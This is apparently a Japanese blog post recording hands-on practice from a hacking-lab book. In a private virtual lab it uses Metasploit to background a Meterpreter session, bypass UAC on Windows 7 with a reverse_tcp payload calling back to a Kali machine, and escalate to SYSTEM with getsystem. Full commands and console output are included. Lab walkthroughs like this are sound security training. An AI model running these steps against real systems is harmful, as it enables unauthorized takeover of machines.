IPUSIRON氏著の「ハッキング・ラボの作り方 仮想環境におけるハッカー体験学習」を実践した記録です。
ホストOSはWindows 11です。
第2部
第4章 Windowsのハッキング
4-1 Windows 7のハッキング
管理者権限を奪取するには
前回は、KaliマシンからWindows 7マシンの操作ができる状態になったところまででした。
ここから、Windows 7をもっと自由に操るために管理者権限への昇格を試みます。
msfconsoleに戻ろう
現在、msfconsoleが実行され、そのうえでexploitが実行されています。exploitでWindows 7からの接続を待ち受け、接続が確立されたことによって”meterpreter >”のプロンプトが表示されているわけです。ここでexploitを裏(バックグラウンド)に回して、msfconsoleのプロンプトを表示します。
以下のように、”meterpreter >”のプロンプトから”bg”コマンドを入力することにより、”msf6 exploit(multi/handler) >”のプロンプトに切り替えられます。
meterpreter > bg [*] Backgrounding session 1... msf6 exploit(multi/handler) >
次のコマンドでバックグラウンドのセッションを確認できます。
msf6 exploit(multi/handler) > sessions -i
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows IE8WIN7\IEUser @ IE8WIN7 192.168.56.106:4444 -> 192.1
68.56.107:49157 (192.168.56
.107)
msf6 exploit(multi/handler) >
上の表示結果で、セッションIDが”1″、Typeが”meterpreter”のセッションが接続状態にあることが分かりました。
UACを迂回するには
UACとは、ユーザーアカウント制御(User Account Control)と呼ばれる、システム設定の変更やプログラムのインストールなどの管理者権限が必要となる操作を勝手に実施できないようにするための機能です。ここでは、UACを迂回(バイパス)して管理者権限取得を試みます。
具体的には、UAC迂回を実現するモジュール”exploit/windows/local/bypassuac”を使用し、以下のように実行します。
msf6 exploit(multi/handler) > use exploit/windows/local/bypassuac [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
プロンプトが下のように変化します。モジュールのオプションを確認してみましょう。
msf6 exploit(windows/local/bypassuac) > show options
Module options (exploit/windows/local/bypassuac):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on
TECHNIQUE EXE yes Technique to use if UAC is turned off (Accepted: P
SH, EXE)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process,
none)
LHOST 10.0.2.15 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows x86
さきほど裏に回したセッション1をパイプのように使ってUACを迂回する機能を流し込みます。
msf6 exploit(windows/local/bypassuac) > set SESSION 1 SESSION => 1 msf6 exploit(windows/local/bypassuac) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp
次のように、KaliのIPアドレスを設定します。
msf6 exploit(windows/local/bypassuac) > set LHOST 192.168.56.106
LHOST => 192.168.56.106
msf6 exploit(windows/local/bypassuac) > show options
Module options (exploit/windows/local/bypassuac):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 1 yes The session to run this module on
TECHNIQUE EXE yes Technique to use if UAC is turned off (Accepted: P
SH, EXE)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process,
none)
LHOST 192.168.56.106 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows x86
ここで”exploit”コマンドを実行します。以下のように表示されたら成功です。
msf6 exploit(windows/local/bypassuac) > exploit [*] Started reverse TCP handler on 192.168.56.106:4444 [*] UAC is Enabled, checking level... [+] UAC is set to Default [+] BypassUAC can bypass this setting, continuing... [+] Part of Administrators group! Continuing... [*] Uploaded the agent to the filesystem.... [*] Uploading the bypass UAC executable to the filesystem... [*] Meterpreter stager executable 73802 bytes long being uploaded.. [*] Sending stage (175174 bytes) to 192.168.56.107 [*] Meterpreter session 2 opened (192.168.56.106:4444 -> 192.168.56.107:49158 ) at 2022-05-22 17:11:29 +0900 meterpreter >
ここで、さきほど使用したセッション1に加えて、セッション2が誕生しています。次のようにして確認できます。
meterpreter > bg
[*] Backgrounding session 2...
msf6 exploit(windows/local/bypassuac) > sessions -i
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows IE8WIN7\IEUser @ IE8WIN7 192.168.56.106:4444 -> 192
.168.56.107:49157 (192.16
8.56.107)
2 meterpreter x86/windows NT AUTHORITY\SYSTEM @ IE8W 192.168.56.106:4444 -> 192
IN7 .168.56.107:49158 (192.16
8.56.107)
セッション2に戻ります。
msf6 exploit(windows/local/bypassuac) > sessions -i 2 [*] Starting interaction with 2...
管理者権限を取得しよう
まず、現在の権限を確認します。
meterpreter > getuid Server username: IE8WIN7\IEUser
IEUserの権限であることが分かりました。
次に、管理者権限への特進を試みます。
meterpreter > getsystem -t 1 ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
SYSTEM権限の取得に成功しました。SYSTEMはフルコントロールを有する管理者権限を意味します。
さいごに
今回はMetasploitを使い、管理者権限を取得するところまでを紹介しました。
今回でいったん、Windows 7を対象にしたハッキングの区切りとします。
次回からは、Windwos 11のハッキングに挑戦してみたいと思います。
